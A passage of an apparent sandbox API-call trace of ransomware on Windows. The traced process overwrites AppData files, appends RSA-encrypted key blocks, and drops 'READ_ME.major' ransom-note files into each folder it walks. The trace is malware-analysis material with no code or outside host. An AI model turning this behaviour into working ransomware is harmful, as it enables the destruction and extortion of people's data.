(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0206.761] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14e4 [0206.762] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.762] ReadFile (in: hFile=0x14e4, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.763] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.763] WriteFile (in: hFile=0x14e4, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.763] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.763] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.763] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.765] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.765] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.766] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.766] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PHL4w6k8Z8WGuoqvtTnolsqxnM/L+bZiz6w1HdqrBCzcQZS8VNpr1eWHqQY1GKfI\nYY0KpLts6k+lAO10KwMwPdS/DsaeE/UOnnPHODUANeoITlpHsbBpeRA/oRe7YznC\nciivzq63Q3cZOIwOUyllqbmxHIXNHi1GCpao1AVEOYi2nyE+Hy5r+c/sh7Kw072l\nDBsW1ue7mEfHuSTtIo6ZTEdNwMB8HB2Mq7URy0jLTnoVWl4QHaT6nlhCOa7r0Fm3\nSCl/+m4RInZj6f3l13nuqEg6o/XiVz4bdct6U5hnVzknnZZTIHkrftGvNMxhPjuJ\nw5km2hfAOaz+wJ5FZMvnOQ==\n", pcchString=0x2e3f9a8) returned 1 [0206.766] WriteFile (in: hFile=0x14e4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.766] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.766] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.766] CloseHandle (hObject=0x14e4) returned 1 [0206.768] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.769] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14e4 [0206.770] GetFileSizeEx (in: hFile=0x14e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.770] ReadFile (in: hFile=0x14e4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.770] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.770] WriteFile (in: hFile=0x14e4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.770] SetFilePointer (in: hFile=0x14e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.770] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.770] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.771] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.771] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.771] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R4NMGRu/K/eZlH24vro9bc13F+pb57GwV6N05C/ZGC6sXdAXU+w6RQ+TFFqvjDUm\npCPBxLukAeUdQwt8AKrOFNZeUbNlFv2bhs1BMUPoWcyH4hPV1d5eyfgNzps08nYG\nMJg5CEq+Q4chTZ0vkJwU834aBmVD5LHBl6gtaa47ZM6pGbydegsiYnitCEofx8fN\nbPqt88nX2j+5d+DvCgqrxo8ZDFmOTfmpwKeqO1ngF8Vf1xZ98iR/0+qWq9vLKSl+\neeBKKO3WpxRoQ2h20SRBDhxAymrA0zejhK8PTAIka7TnYtOkdId1mqMxlojGhghP\nHH6E9n76zvf0vna/eSxUdQ==\n", pcchString=0x2e3f9a8) returned 1 [0206.771] WriteFile (in: hFile=0x14e4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.772] WriteFile (in: hFile=0x14e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.772] CloseHandle (hObject=0x14e4) returned 1 [0206.773] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715dffc9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30a58 [0206.773] FindNextFileW (in: hFindFile=0x2f30a58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715dffc9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.774] FindNextFileW (in: hFindFile=0x2f30a58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.774] FindNextFileW (in: hFindFile=0x2f30a58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.774] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e8650f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30ad8 [0206.774] FindNextFileW (in: hFindFile=0x2f30ad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e8650f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.774] FindNextFileW (in: hFindFile=0x2f30ad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.774] FindNextFileW (in: hFindFile=0x2f30ad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.774] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3b14e24d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30ed8 [0206.774] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3b14e24d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.774] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eeb4b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0206.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14f0 [0206.776] WriteFile (in: hFile=0x14f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.777] CloseHandle (hObject=0x14f0) returned 1 [0206.777] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebab7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0206.777] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14f0 [0206.778] WriteFile (in: hFile=0x14f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.779] CloseHandle (hObject=0x14f0) returned 1 [0206.779] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eebfeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0206.779] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14f0 [0206.780] WriteFile (in: hFile=0x14f0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.780] CloseHandle (hObject=0x14f0) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eec53c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30ed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2eec53c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0206.781] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Fonts\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2fbade0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30b18 [0206.781] FindNextFileW (in: hFindFile=0x2f30b18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2fbade0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30b18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30b18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.781] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Licenses\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28ee7f08, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28ee7f08, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30b98 [0206.781] FindNextFileW (in: hFindFile=0x2f30b98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28ee7f08, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28ee7f08, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.781] FindNextFileW (in: hFindFile=0x2f30b98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.782] FindNextFileW (in: hFindFile=0x2f30b98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.782] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Microsoft.WindowsAlarms\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea121655, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea121655, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30bd8 [0206.782] FindNextFileW (in: hFindFile=0x2f30bd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea121655, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea121655, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x31a4d1a9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.782] FindNextFileW (in: hFindFile=0x2f30bd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, 